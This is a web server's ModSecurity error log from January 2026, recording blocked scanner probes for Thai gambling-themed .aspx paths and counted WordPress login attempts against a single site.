[Tue Jan 27 06:27:36.011289 2026] [:error] [pid 41780:tid 41803] [client 147.135.212.202:60818] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslotgame.aspx"] [unique_id "aXfqWFvu-XLQ0TaZ4FFv-gAAARU"]
[Tue Jan 27 06:27:38.561336 2026] [:error] [pid 7454:tid 7519] [client 147.135.212.202:60822] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aXfqWpltCoZEfMmfl8B1XwAAAIM"]
[Tue Jan 27 06:27:41.082410 2026] [:error] [pid 7561:tid 7586] [client 147.135.212.202:60832] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pxj.com%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A.aspx"] [unique_id "aXfqXbXGI6mgvHQqkXwf5QAAANY"]
[Tue Jan 27 06:27:43.750713 2026] [:error] [pid 41780:tid 41806] [client 147.135.212.202:60840] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pxj.com%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%20188.aspx"] [unique_id "aXfqX1vu-XLQ0TaZ4FFwAQAAARg"]
[Tue Jan 27 06:27:46.372608 2026] [:error] [pid 7561:tid 7573] [client 147.135.212.202:54136] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aXfqYrXGI6mgvHQqkXwf7gAAAMk"]
[Tue Jan 27 06:27:49.005847 2026] [:error] [pid 41780:tid 41793] [client 147.135.212.202:54150] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20%E0%B8%A1%E0%B8%B7%E0%B8%AD%E0%B8%96%E0%B8%B7%E0%B8%AD.aspx"] [unique_id "aXfqZVvu-XLQ0TaZ4FFwCwAAAQs"]
[Tue Jan 27 06:27:51.652775 2026] [:error] [pid 7454:tid 7536] [client 147.135.212.202:54160] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aXfqZ5ltCoZEfMmfl8B1dgAAAJQ"]
[Tue Jan 27 06:27:54.151395 2026] [:error] [pid 7454:tid 7523] [client 147.135.212.202:54176] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shorturl%20asia%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXfqapltCoZEfMmfl8B1egAAAIc"]
[Tue Jan 27 06:27:56.559373 2026] [:error] [pid 7453:tid 7494] [client 147.135.212.202:54808] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "aXfqbBfsyA2ws_ADquifmQAAAEU"]
[Tue Jan 27 06:27:59.044190 2026] [:error] [pid 7561:tid 7585] [client 147.135.212.202:54816] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aXfqb7XGI6mgvHQqkXwf-wAAANU"]
[Tue Jan 27 06:28:01.645576 2026] [:error] [pid 7561:tid 7572] [client 147.135.212.202:54832] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234.aspx"] [unique_id "aXfqcbXGI6mgvHQqkXwgAAAAAMg"]
[Tue Jan 27 06:28:04.189714 2026] [:error] [pid 7561:tid 7568] [client 147.135.212.202:54842] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot168.aspx"] [unique_id "aXfqdLXGI6mgvHQqkXwgBgAAAMQ"]
[Tue Jan 27 06:28:06.793325 2026] [:error] [pid 7454:tid 7526] [client 147.135.212.202:49572] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1688.aspx"] [unique_id "aXfqdpltCoZEfMmfl8B1oQAAAIo"]
[Tue Jan 27 06:28:28.310518 2026] [:error] [pid 41780:tid 41782] [client 147.135.212.202:49584] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa168bet.aspx"] [unique_id "aXfqjFvu-XLQ0TaZ4FFwVAAAAQA"]
[Tue Jan 27 06:28:30.738417 2026] [:error] [pid 7452:tid 7468] [client 147.135.212.202:46108] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa369%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx"] [unique_id "aXfqjmlXocEpHDB6FUZ7JgAAAAc"]
[Tue Jan 27 06:28:33.425601 2026] [:error] [pid 41780:tid 41806] [client 147.135.212.202:46116] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa369.aspx"] [unique_id "aXfqkVvu-XLQ0TaZ4FFwWQAAARg"]
[Tue Jan 27 06:28:36.004434 2026] [:error] [pid 7454:tid 7517] [client 147.135.212.202:46418] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa77.aspx"] [unique_id "aXfqlJltCoZEfMmfl8B16QAAAIE"]
[Tue Jan 27 06:28:38.672587 2026] [:error] [pid 7561:tid 7576] [client 147.135.212.202:46422] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa777%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A.aspx"] [unique_id "aXfqlrXGI6mgvHQqkXwgkQAAAMw"]
[Tue Jan 27 06:28:41.293199 2026] [:error] [pid 7561:tid 7587] [client 147.135.212.202:46426] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa777.aspx"] [unique_id "aXfqmbXGI6mgvHQqkXwgmAAAANc"]
[Tue Jan 27 06:28:43.823824 2026] [:error] [pid 7561:tid 7570] [client 147.135.212.202:46428] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa789.aspx"] [unique_id "aXfqm7XGI6mgvHQqkXwgnAAAAMY"]
[Tue Jan 27 06:28:46.414837 2026] [:error] [pid 7561:tid 7586] [client 147.135.212.202:52980] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx"] [unique_id "aXfqnrXGI6mgvHQqkXwgnwAAANY"]
[Tue Jan 27 06:28:49.076906 2026] [:error] [pid 7454:tid 7536] [client 147.135.212.202:52984] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A888.aspx"] [unique_id "aXfqoZltCoZEfMmfl8B2bQAAAJQ"]
[Tue Jan 27 06:28:51.636283 2026] [:error] [pid 7453:tid 7497] [client 147.135.212.202:52990] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aXfqoxfsyA2ws_ADquigIwAAAEg"]
[Tue Jan 27 06:28:54.280733 2026] [:error] [pid 7561:tid 7579] [client 147.135.212.202:53006] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aXfqprXGI6mgvHQqkXwgqwAAAM8"]
[Tue Jan 27 06:28:56.889642 2026] [:error] [pid 7561:tid 7569] [client 147.135.212.202:43524] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet1212%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A.aspx"] [unique_id "aXfqqLXGI6mgvHQqkXwgsQAAAMU"]
[Tue Jan 27 06:28:59.515944 2026] [:error] [pid 7453:tid 7503] [client 147.135.212.202:43538] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet88.aspx"] [unique_id "aXfqqxfsyA2ws_ADquigLwAAAE4"]
[Tue Jan 27 06:29:02.007780 2026] [:error] [pid 7453:tid 7498] [client 147.135.212.202:43552] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%20188%20%E0%B8%9A%E0%B8%B2%E0%B8%97.aspx"] [unique_id "aXfqrhfsyA2ws_ADquigNwAAAEk"]
[Tue Jan 27 06:29:04.610599 2026] [:error] [pid 7454:tid 7518] [client 147.135.212.202:43568] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w88%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx"] [unique_id "aXfqsJltCoZEfMmfl8B2iwAAAII"]
[Tue Jan 27 06:29:07.248667 2026] [:error] [pid 7452:tid 7485] [client 147.135.212.202:44788] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/warpufa.aspx"] [unique_id "aXfqs2lXocEpHDB6FUZ7dQAAABg"]
[Tue Jan 27 06:29:09.849416 2026] [:error] [pid 7561:tid 7575] [client 147.135.212.202:44800] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www.lotto.com%20%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%B9%E0%B9%88%E0%B8%A3%E0%B8%B0%E0%B8%9A%E0%B8%9A.aspx"] [unique_id "aXfqtbXGI6mgvHQqkXwgyAAAAMs"]
[Tue Jan 27 06:29:12.307993 2026] [:error] [pid 7453:tid 7502] [client 147.135.212.202:44802] [client 147.135.212.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXfquBfsyA2ws_ADquigSAAAAE0"]
[Tue Jan 27 07:29:54.644370 2026] [:error] [pid 7453:tid 7489] [client 98.159.233.21:53845] [client 98.159.233.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.233.21, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aXf48hfsyA2ws_ADquizrQAAAEA"], referer: http://measureyourbrand.com.au/wp-admin/
[Tue Jan 27 07:29:55.477722 2026] [:error] [pid 7454:tid 7523] [client 98.159.233.31:57245] [client 98.159.233.31] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.233.31, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/index.php/wp-login.php"] [unique_id "aXf485ltCoZEfMmfl8CbJAAAAIc"], referer: http://measureyourbrand.com.au/wp-admin/
[Tue Jan 27 07:30:18.214408 2026] [:error] [pid 7454:tid 7533] [client 98.159.233.29:21095] [client 98.159.233.29] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.233.29, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aXf5CpltCoZEfMmfl8CbSQAAAJE"], referer: http://measureyourbrand.com.au/wp-admin/
[Tue Jan 27 07:30:19.071109 2026] [:error] [pid 41780:tid 41789] [client 98.159.233.6:63173] [client 98.159.233.6] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.233.6, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/index.php/wp-login.php"] [unique_id "aXf5C1vu-XLQ0TaZ4FGEFAAAAQc"], referer: http://measureyourbrand.com.au/wp-admin/
[Tue Jan 27 07:30:43.449385 2026] [:error] [pid 7452:tid 7472] [client 98.159.233.27:27749] [client 98.159.233.27] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.233.27, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aXf5I2lXocEpHDB6FUaRSAAAAAs"], referer: http://measureyourbrand.com.au/wp-admin/
[Tue Jan 27 07:31:06.490062 2026] [:error] [pid 7561:tid 7587] [client 98.159.233.52:57853] [client 98.159.233.52] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.233.52, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aXf5OrXGI6mgvHQqkXw6rAAAANc"], referer: http://measureyourbrand.com.au/wp-admin/
[Tue Jan 27 07:31:17.838645 2026] [:error] [pid 7453:tid 7495] [client 98.159.233.239:56241] [client 98.159.233.239] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.233.239, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aXf5RRfsyA2ws_ADqui0HgAAAEY"], referer: http://measureyourbrand.com.au/wp-admin/
[Tue Jan 27 07:31:18.734418 2026] [:error] [pid 7453:tid 7506] [client 98.159.233.46:36441] [client 98.159.233.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.233.46, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/index.php/wp-login.php"] [unique_id "aXf5RhfsyA2ws_ADqui0IgAAAFE"], referer: http://measureyourbrand.com.au/wp-admin/
[Tue Jan 27 07:31:42.270744 2026] [:error] [pid 7454:tid 7519] [client 98.159.233.17:42499] [client 98.159.233.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.233.17, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aXf5XpltCoZEfMmfl8CbyAAAAIM"], referer: http://measureyourbrand.com.au/wp-admin/
[Tue Jan 27 07:31:43.135869 2026] [:error] [pid 41780:tid 41782] [client 98.159.233.16:21041] [client 98.159.233.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.233.16, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/index.php/wp-login.php"] [unique_id "aXf5X1vu-XLQ0TaZ4FGE1wAAAQA"], referer: http://measureyourbrand.com.au/wp-admin/
[Tue Jan 27 07:31:55.975362 2026] [:error] [pid 7452:tid 7480] [client 98.159.233.27:21027] [client 98.159.233.27] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.233.27, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aXf5a2lXocEpHDB6FUaRvQAAABM"], referer: http://measureyourbrand.com.au/wp-admin/
[Tue Jan 27 08:21:16.113758 2026] [:error] [pid 48528:tid 48531] [client 193.70.33.35:45818] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%9C%E0%B8%A5%20%E0%B8%9A%E0%B8%AD%E0%B8%A5%20vip.aspx"] [unique_id "aXgE_AOGRrquT9N7CZoIOgAAAgE"]
[Tue Jan 27 08:21:19.139856 2026] [:error] [pid 41780:tid 41793] [client 193.70.33.35:36810] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%9D%E0%B8%B2%E0%B8%81%201%20%E0%B8%9A%E0%B8%B2%E0%B8%97%20%E0%B8%A3%E0%B8%B1%E0%B8%9A%2050%20%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94%20%E0%B9%84%E0%B8%94%E0%B9%89%E0%B8%88%E0%B8%A3%E0%B8%B4%E0%B8%87.aspx"] [unique_id "aXgE_1vu-XLQ0TaZ4FGV_QAAAQs"]
[Tue Jan 27 08:21:21.927712 2026] [:error] [pid 48528:tid 48536] [client 193.70.33.35:36818] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%9D%E0%B8%B2%E0%B8%81%2010%20%E0%B8%A3%E0%B8%B1%E0%B8%9A%20100%20%E0%B8%97%E0%B8%B3%E0%B8%A2%E0%B8%AD%E0%B8%94%20200%20%E0%B8%96%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%94%E0%B9%89%E0%B9%80%E0%B8%A5%E0%B8%A2.aspx"] [unique_id "aXgFAQOGRrquT9N7CZoISwAAAgY"]
[Tue Jan 27 08:21:24.772059 2026] [:error] [pid 48412:tid 48417] [client 193.70.33.35:36822] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%20true%20wallet%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%E0%B8%95%E0%B9%88%E0%B9%8D%E0%B8%B2%2010%20%E0%B8%A3%E0%B8%B1%E0%B8%9A%20100.aspx"] [unique_id "aXgFBHbJMfAKlln88JFIvAAAAUM"]
[Tue Jan 27 08:21:27.632145 2026] [:error] [pid 48528:tid 48548] [client 193.70.33.35:59658] [client 193.70.33.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%20true%20wallet%20%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%A1%E0%B8%B5%E0%B8%82%E0%B8%B1%E0%B9%89%E0%B8%99%E0%B8%95%E0%B9%88%E0%B9%8D%E0%B8%B2.aspx"] [unique_id "aXgFBwOGRrquT9N7CZoIVgAAAhI"]
